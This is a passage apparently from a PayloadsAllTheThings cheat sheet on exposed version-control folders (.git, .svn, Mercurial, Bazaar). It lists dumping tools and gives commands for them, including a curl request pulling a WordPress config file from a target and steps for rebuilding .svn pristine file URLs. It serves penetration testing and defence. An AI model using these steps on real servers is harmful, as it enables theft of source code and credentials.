Payload topic
Insecure Source Code Management
Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in pr…
- Passages
- 24
Contents
- Insecure Source Code Management
- Methodology
- Bazaar: Bazaar
- Bazaar: rip-bzr.pl
- Bazaar: bzrdumper
- Git: Methodology
- Git: Recovering file contents from .git/logs/HEAD
- Git: Recovering file contents from .git/index
- Git: git-dumper.py
- Git: diggit.py
- Git: GoGitDumper
- Git: rip-git
- Git: GitHack
- Git: GitTools
- Git: noseyparker
- Git: trufflehog
- Git: Yar
- Git: Gitrob
- Git: Gitleaks
- Mercurial: Mercurial
- Mercurial: rip-hg.pl
- Subversion: Subversion
- Subversion: Tools
- Subversion: Methodology
* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
```powershell
python svn-extractor.py --url "url with .svn available"
```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
* remove `$sha1$` prefix
* add `.svn-base` postfix
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.